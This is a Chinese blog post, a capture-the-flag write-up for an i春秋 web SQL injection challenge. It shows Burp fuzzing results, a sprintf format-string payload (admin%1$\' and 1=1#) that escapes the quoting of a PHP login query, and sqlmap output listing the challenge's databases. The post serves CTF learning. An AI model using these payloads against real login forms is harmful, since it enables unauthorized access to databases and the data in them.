




Web-SQLi[i春秋][200pt]

原创

[将至将至](#)  于 2018-08-04 16:49:00 发布  1093  收藏 2

分类专栏: [CTF-Web](#) 文章标签: [CTF web sqlmap](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/Laurel_60/article/details/81412315

版权



[CTF-Web 专栏收录该内容](#)

4 篇文章 0 订阅

订阅专栏

打开网址，是个登陆界面。

用户名:

密码:

登录

https://blog.csdn.net/Laurel_60

根据题目，第一反应-怕不是sql注入哦！经过尝试之后会发现，username=admin时，返回的是password error。ok，日常抓包，然后用intruder看看有没有字符被过滤掉。

Request	Payload1	Payload2	Status	Error	Timeout	Length
0			200	<input type="checkbox"/>	<input type="checkbox"/>	1247
1	admin	666	200	<input type="checkbox"/>	<input type="checkbox"/>	1247
2	!	666	200	<input type="checkbox"/>	<input type="checkbox"/>	1247
3	@	666	200	<input type="checkbox"/>	<input type="checkbox"/>	1247
4	~	666	200	<input type="checkbox"/>	<input type="checkbox"/>	1247
5	#	666	200	<input type="checkbox"/>	<input type="checkbox"/>	1247
6	\$	666	200	<input type="checkbox"/>	<input type="checkbox"/>	1247
7	%	666	200	<input type="checkbox"/>	<input type="checkbox"/>	1454
8	^	666	200	<input type="checkbox"/>	<input type="checkbox"/>	1247
9	&	666	200	<input type="checkbox"/>	<input type="checkbox"/>	1247
10	*	666	200	<input type="checkbox"/>	<input type="checkbox"/>	1247

Request Response

Raw Headers Hex HTML Render

Content-Type: text/html
Content-Length: 1250
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.22
Vary: Accept-Encoding

```
<br />  
<b>Warning</b>: sprintf(): Too few arguments in <b>/var/www/html/index.php</b> on line <b>18</b><br />  
<br />  
<b>Warning</b>: mysqli::query(): Empty query in <b>/var/www/html/index.php</b> on line <b>19</b><br />  
<!DOCTYPE html>
```

事实证明，这个%有着大大的问题。拜读了网上的各种wp之后，原来是sprintf()函数格式化字符串，导致了单引号逃逸。通过构造--

```
username=admin%1$\' and 1=1#  
username=admin%1$\' and 1=2#
```

就可以看到前者返回的是password error，后者返回的是username error。这就找到注入点了。是时候用咱们强大的注入神器

username=admin%1\$\', password=任意值，然后将抓包的数据存好（我存到D盘了），先来爆库--

PS:很搞笑的是，日常加了一个batch，于是一开始就自动给我no了。所以还是要亲力亲为啊，中途要点n个y，跑了六分多钟的样子，欧了。

```
2
[11:08:15] [WARNING] (case) time-based comparison requires larger statistical model, please wait.....
..... (done)
[11:08:24] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[11:09:34] [INFO] retrieved: ctf
available databases [2]:
[*] ctf
[*] information_schema
```

https://blog.csdn.net/Laurel_60

爆出了两个库，肯定要选第一个啦~所以开始爆表啦--

PS:很多大佬是直接跑脚本的，但是对我这种菜菜的学生来港，完全是一脸懵逼啊，还有待学习。好好学习，天天向上。

OVER--